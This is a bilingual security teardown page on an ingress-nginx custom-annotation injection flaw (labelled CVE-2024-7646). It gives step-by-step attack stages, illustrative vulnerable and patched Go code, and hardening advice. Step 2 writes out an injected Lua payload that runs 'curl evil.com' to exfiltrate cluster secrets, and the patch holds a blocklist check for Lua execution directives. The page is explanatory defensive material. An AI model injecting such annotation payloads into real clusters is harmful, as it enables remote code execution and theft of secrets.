● CVE-2024-7646 / Ingress Zero-Day

CVE-2024-7646: Ingress-NGINX Custom Annotation Code Injection Teardown

How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.

💡 通俗通俗化解析 (ELI5)

Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.

核心概念与底层架构术语

Ingress-NGINX: The most widely deployed Kubernetes ingress controller, dynamically generating NGINX configuration from Ingress resources.
Ingress Annotations: Key-value metadata attached to Ingress resources to customize NGINX behavior (e.g. rate-limiting, SSL redirects).
Configuration Injection: Injecting newline characters (`\n`) and raw directives into generated `nginx.conf` files.
Controller Pod Compromise: Gaining shell execution inside the ingress-nginx pod, which holds credentials to read cluster-wide TLS certificates and secrets.

攻击利用全流程逐步拆解

Step 1

1. Create Ingress Resource

A developer with namespace rights creates an Ingress manifest.

Step 2

2. Inject Multiline Lua Snippet

The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.

Step 3

3. NGINX Template Reload

The ingress controller evaluates the annotation and reloads nginx.conf.

Step 4

4. Remote Code Execution

The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.

源码对比：致命缺陷 vs. 加固补丁

采用清晰易读的高级编程语言展示（不含晦涩汇编或二进制机器码）。

未修补缺陷代码

// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
    // ROOT CAUSE:
    // Raw annotation strings are inserted directly into nginx.conf template
    // without stripping newline characters or disallowing Lua block directives!
    snippet := cfg.Annotations.CustomSnippet
    t.tmpl.Execute(w, snippet)
    return nil
}

安全加固补丁

// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
    snippet := cfg.Annotations.CustomSnippet
    
    // 1. Strict allowlist validation of permitted directives
    if err := validateSnippetDirectives(snippet); err != nil {
        return fmt.Errorf("invalid annotation snippet: %w", err)
    }
    
    // 2. Reject arbitrary code execution blocks (Lua, system execution)
    if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
        return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
    }
    
    t.tmpl.Execute(w, snippet)
    return nil
}

工程落地与系统加固清单

Disable `allow-snippet-annotations` in ingress-nginx ConfigMap if developers do not strictly require it.
Sanitize all Ingress custom annotations against regex allowlists preventing newline injection.
Restrict Ingress creation permissions using Kubernetes Admission Controllers (OPA Gatekeeper, Kyverno).
Run ingress-nginx controller pods with non-root user IDs and read-only root filesystems.

← 浏览完整安全目录所有平台安全更新 →